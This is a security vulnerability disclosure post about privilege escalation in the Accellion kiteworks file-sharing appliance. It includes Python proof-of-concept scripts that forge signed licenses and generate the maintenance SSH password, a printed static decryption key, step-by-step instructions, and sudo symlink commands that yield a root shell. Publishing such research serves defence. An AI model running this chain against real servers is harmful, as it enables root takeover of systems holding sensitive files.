Take the next step
Talk to us today
Tomais Williamson found an authenticated privilege escalation vulnerability in the Accellion kiteworks web application. A malicious website administrator could use this to gain shell access to the application with root privileges.
Authored by Tomais Williamson
Published on
ZX Security performed security testing of Accellion’s kiteworks application. The review was performed with a copy of the kiteworks virtual machine (VM), as well as access to a client pre-production instance.
During the testing process, we identified multiple issues which can be combined to allow a web administrator to gain root SSH access to server hosting the kiteworks instance. This post outlines the technical details of these vulnerabilities, how it could be exploited, and the potential impact for the users and organisations.
The issues described in the post have been patched in version 7.3.1-ng9
, which has been publicly available since the 4th of March, 2021.
kiteworks, by Accellion, is a secure file sharing platform that facilitates access to enterprise content sources by allowing internal and external users to share, send, sync and edit files on any type of device from any content store. [1]
Since we were provided with a VM to test against, the first order of business was seeing if we could get any of the source code out of it to make our lives easier. This turned out to be pretty easy as the kiteworks.vmdk file could be directly mounted on our host.
It turns out there are a lot of cogs that make kiteworks tick. There’s the main PHP website, an internal Python/gunicorn API, an external PHP API, a MySQL database, a MongoDB database, and a Python CLI tool (which is invoked by the APIs and the website), just to name a few. Focussing purely on the website seemed to be the easiest way forward for hunting bugs, so this is the approach we took.
While investigating the kiteworks admin interface, we found that there is an option that would allow Accellion (the company) to connect to the appliance over SSH for maintenance purposes. A web administrator must first enable this feature via the web interface and then send the randomly generated “Remote Management Password” to Accellion. This SSH access appears to be only for Accellion to use, and should not be able to be accessed by Accellion’s customers. The screenshot below shows an example generated password:
Attempting to SSH into the kiteworks VM using this password did not work though, so we needed to dig deeper. From generating a few of these passwords we noticed several patterns. Everything before the dash seemed to be random, and the characters afterwards were static. After examining the source code, we determined that the “Remote Management Password” does in fact consist of two hyphenated values: a ten-character random alphanumeric string called the phase and the first 10 hexadecimal characters of the license signature.
However, we needed more than just the phase to get access. The source code identified one other necessary component of the SSH password called the filex_key. The Python CLI tool indicated that it came from the database, but when it was actually set was a bit of a mystery.
Many rabbit holes later, we finally found the source of this value: the application’s license file. We could now easily get the filex_key from the license just by base64-decoding the file and decrypting it through AES-128-CBC using the static key 062d21090b89ba04b031b825f2ce7da6
(which is actually the hash of an RSA public key embedded in the source code). Following the code, the SSH password could then be generated with sha1_hex(phase + filex_key)[:10]
granting access as the user prometheus. The screenshot below shows an authenticated SSH session obtain from this process:
But what if the attacker doesn’t have access to the original license?
Due to an oversight in the license verification algorithm, we were able to successfully forge our own signed licenses that the application happily accepted, allowing us to specify our own filex_key (and license expiry date). Can you spot the bug in the code below?
function storeLicenseFromFile(file) {
license = getFileContents(file);
licenseContent = decrypt(license);
if (licenseContent["license"]["file_format_version"] != 2) {
throw error("License version not supported.");
}
...
}
function decrypt(text, verifyData=true) {
text = base64Decode(text);
key = sha512(this.publicKey)[:32];
iv = bytes(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
data = decryptAES256CBC(text, key, iv, NO_PADDING);
if (verifyData) {
data = verify(data);
}
return jsonDecode(data);
}
function verify(originalData) {
data = jsonDecode(originalData);
if (data.has("signature")) {
signature = data["signature"];
originalData = originalData.replace(signature, "");
if (data.has("recipe")){
version = data["recipe"]["file_format_version"];
}
else {
version = data["license"]["file_format_version"];
}
if (version == 1) {
if (sha512(originalData) != signature) {
throw error("License signature mismatch");
}
}
else if (version == 2) {
// verification via public key cryptography
}
}
return data;
}
This oversight stems from the use of two different licensing checking schemes. Version 2 of the scheme uses public-key cryptography to verify the signature of an uploaded license, and we were not able to identify any flaws in this version. Version 1 however uses a SHA512 hash (calculated over the plaintext license) to verify that the signature of the license is correct, which is easily bypassed. The application usually only accepts version 2 licenses, however this can be partially overridden by setting the value of recipe.file_format_version
equal to 1 within a forged license. This results in the ability to use the version 1 license checking algorithm on a version 2 license. The forged license is then encrypted using a hard-coded symmetric key to finally become valid.
A proof of concept for generating valid licenses can found in the appendix under sign_and_encrypt.py
and test_license.json
.
The web interface happily accepts this new license, allowing us to have complete control over both phase and filex_key. And so, a valid SSH password can now be generated with just web admin access.
As hinted before, we also get full control over the expiry date of the license, which means we can keep our testing instance for as long as we want.
If you’re following along at home, here are the steps to do the whole process yourself:
test_license.json
from the appendix with the desired values../sign_and_encrypt.py testlicense.json > test.lic
to generate a new license./admin/#/license_upload
and upload the new license./admin/#/locations
, select the target server, and click on the Security tab../gen_prom_passwd.py <management_password> <filex_key>
with the target values.ssh prometheus@<server_ip>
and provide it with the password generated from the previous step.While researching kiteworks, we stumbled upon some vulnerabilities [2] found by Shubham Shah in kiteworks back in 2016. The existence of CVE-2016-5662 [3] made us think that there were probably other privilege escalation paths on the machine.
The first thing we checked was to run the command sudo -l
, which describes what commands a user can run with the privileges root. For the prometheus user, this includes the command /opt/prometheus/bin/admin.py
. Examining the path to the command, we noticed that the directory /opt/prometheus
is a symbolic link to /home/prometheus/prom-source
, which is owned by the current user. This means that, despite the bin folder and its contents being owned by root, the directory itself can be freely renamed or deleted.
To exploit this misconfiguration, the bin folder is renamed to bin2 and a new bin folder is created. A symbolic link is placed in this folder under the name admin.py which points to /bin/bash
. The command sudo /opt/prometheus/bin/admin.py
can then be run, which will execute /bin/bash
in the context of the root user. This allows the user to easily escalate their privilege to root. The following commands leverage this:
cd ~/prom-source
mv bin bin2
mkdir bin
ln -s /bin/bash bin/admin.py
sudo /opt/prometheus/bin/admin.py
The process is also highlighted in the following screenshot:
Ensure that the installed version of kiteworks is 7.3.1-ng9
or later. Blocking access to port 22 would also mitigate this.
Despite only being applicable once you already have administrator access, this is a great example of how privileged features can be leveraged to gain further privileged access. The primary issue identified within the code was related to licensing verification. It is possible that this part of the code was not audited as carefully as other areas, as it is not at all obvious that a license is required to generate an SSH password, and may not have been seen as security-critical. The secondary issue, related to sudo, is an example of how simply using a restricted sudo command alone isn’t enough to prevent an attacker from elevating their privilege once they have access to a server.
Below are scripts referenced in this post.
sign_and_encrypt.py
#!/usr/bin/env python3
import json
import hashlib
import base64
from Crypto.Cipher import AES
import sys
STATIC_ENCRYPTION_KEY = b'' # left as an exercise for the reader
def zero_pad(bstr):
target_size = ((len(bstr) + 16 - 1) // 16) * 16
return bstr.ljust(target_size, b'\0')
if len(sys.argv) != 2:
print("Usage: ./sign_and_encrypt.py <license_or_app.json>")
print("Example: ./sign_and_encrypt.py ./testlicense.json")
exit(1)
data = ""
with open(sys.argv[1]) as f:
data = f.read()
license_data = json.loads(data)
# overrides signature verification version (see license.php#584)
license_data['recipe'] = {"file_format_version": 1}
license_data['signature'] = "" # signature is generated below
# generate a valid signature
license_str = json.dumps(license_data).encode()
signature = hashlib.sha512(license_str).hexdigest()
license_data['signature'] = signature
license_str = zero_pad(json.dumps(license_data).encode())
# Encryption time
ciph = AES.new(STATIC_ENCRYPTION_KEY, AES.MODE_CBC, b'\x00'*16)
license_enc = base64.b64encode(ciph.encrypt(license_str))
print(license_enc.decode())
gen_prom_password.py
#!/usr/bin/env python3
import hashlib
import sys
if len(sys.argv) != 3:
print("Usage: ./gen_prom_passwd.py <management_password> <filex_key>")
print("Example: ./gen_prom_passwd.py Fv5cdYynqa-0102030405 AAAAAAAAAAAAAAAA")
exit(1)
phase = sys.argv[1].split('-')[0]
filex_key = sys.argv[2]
password = hashlib.sha1((phase + filex_key).encode('utf-8')).hexdigest()[0:10]
print(password)
test_license.json
{
"customer": {
"deploymentID": "<redacted>",
"expires": 1629977599,
"number": "<redacted>",
"package_type": "12152f1b-e6ec-49d7-bd26-655e584f4171"
},
"features": {
"anti_virus": {
"data": {
"anti_virus": true,
"servers": 2
}
},
"api_integration": {
"data": {
"api_integration": true
}
},
"base_install": {
"data": {
"deployment_type": "1",
"filex_key": "AAAAAAAAAAAAAAAA",
"licensed": {
"servers": 2,
"users": 10
},
"software_version": "production",
"update_server": "update.accellion.net"
}
},
"usage_reporting": {
"data": {
"usage_reporting": true
}
}
},
"license": {
"created": 1607398551,
"creator": "<redacted>",
"description": "ZX Security - kiteworks Enterprise Deployment",
"file_format_version": 2,
"license_key": "<redacted>",
"product": "kiteworks"
}
}
Talk to us today